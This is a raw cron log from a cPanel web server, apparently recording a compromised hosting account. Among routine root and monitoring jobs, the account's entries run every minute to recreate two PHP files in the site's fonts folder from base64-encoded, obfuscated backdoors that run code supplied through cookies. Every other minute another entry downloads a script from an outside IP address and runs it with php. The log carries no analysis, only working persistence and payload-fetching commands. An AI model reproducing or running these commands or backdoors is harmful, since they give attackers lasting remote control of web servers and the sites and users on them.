Sep  6 07:36:01 ip-184-168-122-23 CROND[3112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:36:01 ip-184-168-122-23 CROND[3115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:37:01 ip-184-168-122-23 CROND[3303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:37:01 ip-184-168-122-23 CROND[3305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:37:01 ip-184-168-122-23 CROND[3304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:37:01 ip-184-168-122-23 CROND[3306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:38:01 ip-184-168-122-23 CROND[3385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:38:01 ip-184-168-122-23 CROND[3387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:38:01 ip-184-168-122-23 CROND[3389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:38:01 ip-184-168-122-23 CROND[3392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:38:01 ip-184-168-122-23 CROND[3393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:39:01 ip-184-168-122-23 CROND[3490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:39:01 ip-184-168-122-23 CROND[3492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:39:01 ip-184-168-122-23 CROND[3495]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 07:39:01 ip-184-168-122-23 CROND[3493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:39:01 ip-184-168-122-23 CROND[3494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:40:01 ip-184-168-122-23 CROND[3608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:40:01 ip-184-168-122-23 CROND[3610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:40:01 ip-184-168-122-23 CROND[3611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:40:01 ip-184-168-122-23 CROND[3615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:40:01 ip-184-168-122-23 CROND[3614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:40:01 ip-184-168-122-23 CROND[3613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:40:01 ip-184-168-122-23 CROND[3617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:40:01 ip-184-168-122-23 CROND[3612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:41:01 ip-184-168-122-23 CROND[3719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:41:01 ip-184-168-122-23 CROND[3720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:41:01 ip-184-168-122-23 CROND[3722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:41:01 ip-184-168-122-23 CROND[3724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:42:01 ip-184-168-122-23 CROND[3799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:42:01 ip-184-168-122-23 CROND[3802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:42:01 ip-184-168-122-23 CROND[3801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:42:01 ip-184-168-122-23 CROND[3804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:42:01 ip-184-168-122-23 CROND[3803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:43:01 ip-184-168-122-23 CROND[3966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:43:01 ip-184-168-122-23 CROND[3968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:43:01 ip-184-168-122-23 CROND[3969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:43:01 ip-184-168-122-23 CROND[3970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:44:01 ip-184-168-122-23 CROND[4083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:44:01 ip-184-168-122-23 CROND[4085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:44:01 ip-184-168-122-23 CROND[4086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:44:01 ip-184-168-122-23 CROND[4087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:44:01 ip-184-168-122-23 CROND[4088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:45:01 ip-184-168-122-23 CROND[4179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:45:01 ip-184-168-122-23 CROND[4181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:45:01 ip-184-168-122-23 CROND[4182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:45:01 ip-184-168-122-23 CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:45:01 ip-184-168-122-23 CROND[4184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:45:01 ip-184-168-122-23 CROND[4185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:46:01 ip-184-168-122-23 CROND[4295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:46:01 ip-184-168-122-23 CROND[4297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:46:01 ip-184-168-122-23 CROND[4303]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 07:46:01 ip-184-168-122-23 CROND[4300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:46:01 ip-184-168-122-23 CROND[4302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:46:01 ip-184-168-122-23 CROND[4304]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:46:01 ip-184-168-122-23 CROND[4301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:47:01 ip-184-168-122-23 CROND[4429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:47:01 ip-184-168-122-23 CROND[4432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:47:01 ip-184-168-122-23 CROND[4431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:47:01 ip-184-168-122-23 CROND[4433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:48:01 ip-184-168-122-23 CROND[4539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:48:01 ip-184-168-122-23 CROND[4544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:48:01 ip-184-168-122-23 CROND[4542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:48:01 ip-184-168-122-23 CROND[4541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
